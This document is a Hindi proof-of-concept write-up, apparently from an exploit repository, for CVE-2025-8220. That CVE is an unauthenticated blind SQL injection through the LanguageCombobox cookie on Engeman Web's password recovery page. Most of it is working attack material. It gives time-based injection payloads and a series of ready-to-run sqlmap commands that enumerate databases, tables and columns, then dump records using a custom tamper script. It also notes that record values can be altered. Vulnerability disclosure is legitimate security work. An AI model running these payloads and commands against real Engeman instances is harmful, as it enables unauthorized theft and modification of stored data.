
CVE-2025-8220 में वर्णित कमजोरी के शोषण के लिए प्रूफ ऑफ कॉन्सेप्ट, जो Engeman Web सॉफ्टवेयर में पासवर्ड पुनर्प्राप्ति पृष्ठ लोड के दौरान SQL इंजेक्शन की संभावना से संबंधित है।
CVE-2025-8220 में वर्णित भेद्यता के शोषण का प्रमाण, जो Engeman Web सॉफ्टवेयर में पासवर्ड रिकवरी पेज लोड के दौरान SQL इंजेक्शन की संभावना से संबंधित है।
Engeman Web सॉफ्टवेयर में एक भेद्यता पाई गई जो पासवर्ड रिकवरी पेज लोड के दौरान किए गए SQL क्वेरी में हेरफेर की अनुमति देती है। इस भेद्यता का शोषण बिना किसी वैध क्रेडेंशियल तक पहुँच वाले आगंतुकों द्वारा किया जा सकता है, अर्थात, एक अनऑथेंटिकेटेड तरीके से, एप्लिकेशन के डेटाबेस में संग्रहीत डेटा की गोपनीयता और अखंडता से समझौता करने के साथ-साथ महत्वपूर्ण तालिकाओं में मानों को बदलकर घटक स्तर पर सेवा से इनकार का कारण बन सकता है।
एप्लिकेशन तक पहुँचने और लॉगिन पेज पर रीडायरेक्ट होने के बाद, पासवर्ड रिकवरी पेज पर रीडायरेक्ट होने के लिए बटन पर क्लिक करें।


पासवर्ड रिकवरी पेज को लोड करने के लिए ब्राउज़र द्वारा किए गए अनुरोध की जाँच करें। आप देखेंगे कि कुछ कुकीज़ मौजूद हैं, जिनमें LanguageCombobox कुकी भी शामिल है, जो प्रारंभिक पहुँच के दौरान संग्रहीत की जाती है। इस प्रदर्शन में Burp Suite सॉफ्टवेयर का उपयोग ब्राउज़र अनुरोधों को अधिक कुशलता से देखने और पुनः भेजने के लिए किया गया था।

भेद्यता की पुष्टि करने के लिए, उल्लिखित कुकी के मान के रूप में एक एकल उद्धरण चिह्न सम्मिलित करें और अनुरोध को पुनः भेजें। एप्लिकेशन की प्रतिक्रिया में एक अबंद उद्धरण चिह्न को इंगित करने वाली एक त्रुटि प्रदर्शित होनी चाहिए।

क्वेरी परिणाम लौटाए गए पृष्ठ पर सीधे प्रदर्शित नहीं होते हैं, जिससे यह एक ब्लाइंड शोषण बन जाता है। आप अंतर्निहित डेटाबेस का अनुमान लगाने के लिए ' AND SLEEP(30)-- - या '; WAITFOR DELAY '0:0:30'-- जैसे पेलोड डाल सकते हैं।

एक बार इंजेक्शन की पुष्टि हो जाने पर, डेटाबेस को डंप करने के लिए sqlmap जैसे स्वचालित उपकरण का उपयोग किया जा सकता है।
यह ध्यान रखना महत्वपूर्ण है कि --technique तर्क में SEB मान शामिल होना चाहिए ताकि स्टैक्ड क्वेरीज़, त्रुटियों, और बूलियन तुलनाओं पर आधारित तकनीकों का उपयोग किया जा सके। पहला, क्योंकि एक ब्लाइंड शोषण आवश्यक है, और दूसरा, क्योंकि तर्क मान से S विकल्प को हटाने पर sqlmap SQL Server डेटाबेस में इंजेक्शन बिंदु खोजने में असमर्थ था।
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch

इंजेक्शन बिंदु के माध्यम से विभिन्न संभावित शोषण तकनीकों की पहचान की जाएगी। उसके बाद, डेटाबेस जानकारी प्राप्त की जा सकती है।
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch --dbs

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman --tables

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --columns

sqlmap का उपयोग करके तालिका रिकॉर्ड डंप करने के लिए, एक कस्टम टैम्पर स्क्रिप्ट का उपयोग करना आवश्यक है (कम से कम SQL Server डेटाबेस के लिए) जो इस रिपॉजिटरी में replace-dbo.py नाम से जाती है। इसका कारण यह है कि sqlmap पेलोड जो तालिका ऑब्जेक्ट को संदर्भित करने के लिए <database>.dbo.<table> प्रारूप का उपयोग करते हैं, वे एप्लिकेशन की प्रक्रिया के साथ संघर्ष करते हैं। उल्लिखित टैम्पर इसे केवल <database>.<table> प्रारूप में परिवर्तित करता है। यदि Engeman Web का उदाहरण MySQL या किसी अन्य डेटाबेस का उपयोग करता है, तो यह टैम्पर आवश्यक नहीं होगा, या एक और बनाने की आवश्यकता होगी।


याद रखें कि sqlmap टूल को टैम्पर स्क्रिप्ट के उपयोग के लिए उस निर्देशिका में init.py नामक एक खाली फ़ाइल मौजूद होनी चाहिए, यदि आप इसे अपने इंस्टॉलेशन के डिफ़ॉल्ट टैम्पर निर्देशिका पर नहीं रखते हैं।
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --dump --tamper <tamper-file>.py
यह टैम्पर किसी विशिष्ट तालिका को डंप करने के अलावा प्रक्रिया के किसी भी चरण में उपयोग किए जाने पर विरोध का कारण बनेगा। इसलिए, डेटाबेस (--dbs), तालिकाओं (--tables), कॉलम (--columns), या डेटाबेस उपयोगकर्ता (--current-user) जैसी अतिरिक्त जानकारी प्राप्त करने के लिए इसका उपयोग न करें।
चूँकि एप्लिकेशन द्वारा डेटाबेस के साथ इंटरैक्ट करने के लिए उपयोग किया जाने वाला उपयोगकर्ता सिस्टम रिकॉर्ड के संदर्भ में उच्च विशेषाधिकार रखता है, इसलिए तालिका रिकॉर्ड के मानों को बदलने के लिए अंतर्निहित क्वेरी में हेरफेर करना भी संभव है (यह बहुत आसान है यदि उदाहरण अंतर्निहित डेटाबेस के रूप में SQL Server का उपयोग कर रहा है)।



इस भेद्यता के माध्यम से, सिस्टम का कोई भी उदाहरण उपयोग में आने वाले डेटाबेस में मौजूद डेटा के अनधिकृत पुनर्प्राप्ति और संभवतः संशोधन के लिए अतिसंवेदनशील होगा।
इस भेद्यता की पुष्टि 12.0.0.1 तक के संस्करणों में की गई थी, लेकिन एक अधिक हालिया संस्करण भी संभवतः असुरक्षित है।